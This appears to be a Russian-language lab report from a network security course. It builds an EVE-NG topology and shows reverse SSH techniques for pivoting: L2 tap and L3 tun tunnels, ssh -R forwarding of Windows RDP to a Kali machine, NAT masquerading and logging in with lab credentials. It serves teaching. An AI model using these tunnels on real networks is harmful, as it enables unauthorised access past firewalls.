Практика №4. Revers Shells & Reverse SSH connections === # Задание к практической работе №4 - Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать) - Настроить каждое устройство в соответсвии со следующими параметрами: - Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP - устройство RPi-4 - использовать как “мостовое” устройство (необходимо для SSH tunneling L2) ## Инфраструктура организации: - Kali-2021 - Linux Kali 2021 (2CPU, 2GB RAM) - FW-pfsense - PfSense Firewall 2.5.2, default config (Qemu version 4.1.0, 2CPU, 2GB RAM) - Switch - Cisco IOL-L2 (2 port-groups) - Debian-RPi4 - Linux Debian 10 (1CPU, 1GB RAM) - Win-10 - Windows 10 (full) (2CPU, 2GB RAM) - Win-7 - Windows 7 (full) (QEMU 2.12, 4CPU, 4GB RAM) - Network: - Pfsense Default config (WAN-DHCP, LAN - static IP) - Internet - Cloud-1 - VLAN-10 - 172.16.10.0/24, GW 172.16.10.254 - VLAN-10 - 172.16.20.0/24, GW 172.16.20.254 ### **`Выполнение задания`** - Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать) ![](https://i.imgur.com/kjunS0U.png) - Настроить каждое устройство в соответсвии со следующими параметрами: - Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP **Debian-RPi4** Запросим IP-адрес от DHCP-сервера командой `dhclient ens3`; далее пропишем `ip a`, чтобы убедиться, что ip-aдрес был получен: ![](https://i.imgur.com/80y24SK.png) Добавляем ens3 и ens4 в бридж (Мосты являются виртуальными сетевыми устройствами, которые позволяют объединять несколько сетевых интерфейсов в один логический сегмент сети): ![](https://i.imgur.com/GibvhVa.png) Перезапустим сеть командой `service networking restart`, после чего снова введем `ip a`: ![](https://i.imgur.com/9xKOnrb.png) **Kali** Введм команду `ip a` в Kali, чтобы убедиться, что ip-адрес был получен: ![](https://i.imgur.com/SUoAnHl.png) **Win-10** Проверим полученный IP-адрес командой `ipconfig`: ![](https://i.imgur.com/92KliAb.png) **Win-7** Проведем аналогичную операцию с Win-7: ![](https://i.imgur.com/ao2sMig.png) - устройство RPi-4 - использовать как “мостовое” устройство (необходимо для SSH tunneling L2) **SSH tunneling L2** Переходим в ***Kali*** По умолчанию сервер SSH запрещает вход в Kali систему на основе пароля для пользователя. Отредактируем конфиг Kali командой: `sudo nano /etc/ssh/sshd_config`, разрешив root-вход (PermitRootLogin yes), включив переадресацию портов для SSH (AllowTcpForwarding yes), включив PermitTunnel (PermitTunnel yes): ![](https://i.imgur.com/mmAAAOx.png) Изменим пароль рута командой `sudo passwd` Перезапустим SSH командой `sudo service ssh restart` Переходим в ***Debian*** Пропишем команду `sudo ssh root@192.168.198.133 -o Tunnel=ethernet -w any:any`, где IP - IP-адрес Kali машины. Эта команда используется для установления SSH-соединения с удаленным сервером, в данном случае с IP-адресом 192.168.198.133, под учетной записью root и с опцией -o Tunnel=ethernet, которая позволяет создать Ethernet-туннель между двумя хостами. Опция -w any:any указывает, что для туннелирования будут использоваться любые доступные локальные и удаленные IP-адреса. После ввода подключимся к этой самой машине: ![](https://i.imgur.com/oxG512m.png) Снова переходим в ***Kali*** Еще раз введем `ip a` и заметим, что у нас создался интерфейс tap0: ![](https://i.imgur.com/aEASLrF.png) Переходим в ***Debian*** Нажав `Alt+F2` перейдем в другое окно и также введем `ip a` и снова убедимся, что создался интерфейс tap0: ![](https://i.imgur.com/gRZHYr6.png) Посмотрим все доступные сетевые мосты командой `brctl show`. А с помощью команды `brctl addif br0 tap0` добавим виртуальный сетевой интерфейс tap0 в мост br0. ![](https://i.imgur.com/xR42aFw.png) Снова введем `brctl show` и заметим, что tap0 оказался в бридже: ![](https://i.imgur.com/vgh0uyg.png) Теперь поднимем tap0 интерфейс: ![](https://i.imgur.com/md2WA8V.png) tap0 в бридже (`ip a`): ![](https://i.imgur.com/YfXDDpk.png) Переходим в ***Kali*** Также поднимем tap0 и отобразим информацию о сетевых интерфейсах: ![](https://i.imgur.com/fN3LnMr.png) Захватим пакеты, передающиеся через вирутальный интерфейс tap0 командой `tcpdump -i tap0`: ![](https://i.imgur.com/gAEYAXb.png) Получим IP-адрес на tap0 командой `dhclient tap0`и отобразим информацию о сетевых интерфейсах, видим что tap0 получил свой IP-адрес: ![](https://i.imgur.com/S8LejJK.png) Теперь можно делать всякие грязные дела в инфраструктуре, например, зайти в Фаервол, для этого запустим браузер и перейдем по адресу 192.168.1.1: ![](https://i.imgur.com/qcsRqDg.png) **SSH port forwarding** Переходим в ***Kali*** `ip a`, чтобы узнать полученный IP: ![](https://i.imgur.com/ayD2u21.png) Переходим в ***Win-10*** Открываем терминал Подключаемся к Kali по ssh (`ssh user@192.168.198.133`): ![](https://i.imgur.com/faxXYph.png) Открываем второй терминал Снова подключаемся к Kali (`ssh -R 3395:localhost:3389 user@192.168.198.133` - Данная команда создает удаленный туннель SSH между локальным компьютером и удаленным сервером Kali (192.168.198.133), который перенаправляет трафик из локального порта 3395 на удаленный порт 3389: ![](https://i.imgur.com/ZY9vYnU.png) Переходим в ***Kali*** Проверим прослушиваемые порты, появился порт 3395: ![](https://i.imgur.com/Dk5a30u.png) Введем команду: `xfreerpd /u:admin /p:eve@123 /v:127.0.0.1:3395`, чтобы подключиться к удаленному рабочему столу Win-10: ![](https://i.imgur.com/mD1dvNr.png) Подключились: ![](https://i.imgur.com/cxAfy9b.png) После завершения сессии прослушиваемый порт также закрывается: ![](https://i.imgur.com/XomK7Ot.png) **Попробуем сделать то же самое, но уже с помощью Debian получим доступ к Win-7 через Kali** Переходим в ***Win-7*** 'ipconfig', чтобы узнать полученный IP: ![](https://i.imgur.com/9SsOrpt.png) Переходим в ***Debian*** Вводим команду `ssh -R 3395:192.168.1.108:3389 user@192.168.198.133`, в этом случае через Debian даем доступ Kali (192.168.198.133) от Win-7 (192.168.1.108): ![](https://i.imgur.com/TMy6Kx4.png) Переходим в ***Kali*** Проверим прослушиваемые порты, также появился порт 3395: ![](https://i.imgur.com/iGZax2v.png) Введем команду: `xfreerpd /u:admin /p:eve@123 /v:127.0.0.1:3395`, чтобы подключиться к удаленному рабочему столу Win-7: ![](https://i.imgur.com/JvzBqNU.png) Подключились: ![](https://i.imgur.com/1quxDwR.png) **SSH tunneling L3** Переходим в ***Debian*** Ввводим `ssh -w 0:0 root@192.168.198.133` создает tun-интерфейс между Debian и Kali: ![](https://i.imgur.com/F3mv4j9.png) Открываем новое окно терминала, зажав `Alt+F2` и пропишем `ip a` для просмотра информации о сетевых интерфейсах, видим появился tun0 интерфейс: ![](https://i.imgur.com/O8HFMFQ.png) Переходим в ***Kali*** Также прописываем `ip a`, также появился tun0: ![](https://i.imgur.com/BcptFnf.png) Далее прописываем следующую команду для привязки адреса к tun0: ![](https://i.imgur.com/Z209sab.png) После чего прописываем следующую команду для поднятия интерфейса: ![](https://i.imgur.com/18RXfzC.png) Еще раз пропишем `ip a`, интерфейс tun0 поднялся, появился адрес: ![](https://i.imgur.com/MOHIdXO.png) Переходим в ***Debian*** Делаем то же самое: Привязываем адрес: ![](https://i.imgur.com/eAFTJIm.png) Поднимаем интерфейс: ![](https://i.imgur.com/MQnsFXJ.png) Убеждаемся, что все ок: ![](https://i.imgur.com/x2iU50w.png) Переходим в ***Kali***: Пингуем адрес 10.8.0.2 интерфейса tun0 Debian: ![](https://i.imgur.com/J5APcF3.png) Переходим в ***Debian*** Включаем роутинг, чтобы пакеты доходили до физического интерфейса: ![](https://i.imgur.com/rGzAh7g.png) Включаем `net.ipv4.ip_forward=1` ![](https://i.imgur.com/fgAri0R.png) Переходим в ***Kali*** Добавляем маршрутизацию командой `sudo ip route add 192.168.1.0/24 via 10.8.0.2` - эта команда говорит система, что все пакеты, адресованные подсети 192.168.1.0/24 (к которой принадлежит Debian) должны быть отправлены через IP-адрес 10.8.0.2: ![](https://i.imgur.com/4oi6Rar.png) Теперь удается пропинговать дебиан машину: ![](https://i.imgur.com/hUYqMjb.png) Переходим в ***Debian*** Ввведем команду `iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE` - она изменяет исходный адрес пакетов на адрес хоста, через который они отправляются ![](https://i.imgur.com/yNV45Q3.png) Переходим в ***Kali*** Пингуем pfsense: ![](https://i.imgur.com/9u6DNVy.png) Теперь можно без каких-либо проблем зайти в Фаервол, для этого запустим браузер и перейдем по адресу 192.168.1.1: ![](https://i.imgur.com/0ZlG1e4.png) **Vlan setting** Инициализация вланов: ![](https://i.imgur.com/Ms9RLva.png) Настройка интерфейсов: ![](https://i.imgur.com/ln8SlJG.png) ![](https://i.imgur.com/3cPyWxQ.png) Отображение статусов интерфейсов: ![](https://i.imgur.com/d6wJuqb.png) Отображения вланов: ![](https://i.imgur.com/OJiwTer.png) Настройка pfsense: ![](https://i.imgur.com/v8QniBU.png) ![](https://i.imgur.com/hdsBEvS.png) ![](https://i.imgur.com/uyO0Goy.png) Получение IP-адресов: ![](https://i.imgur.com/CRVGeha.png) ![](https://i.imgur.com/KqD3jE3.png)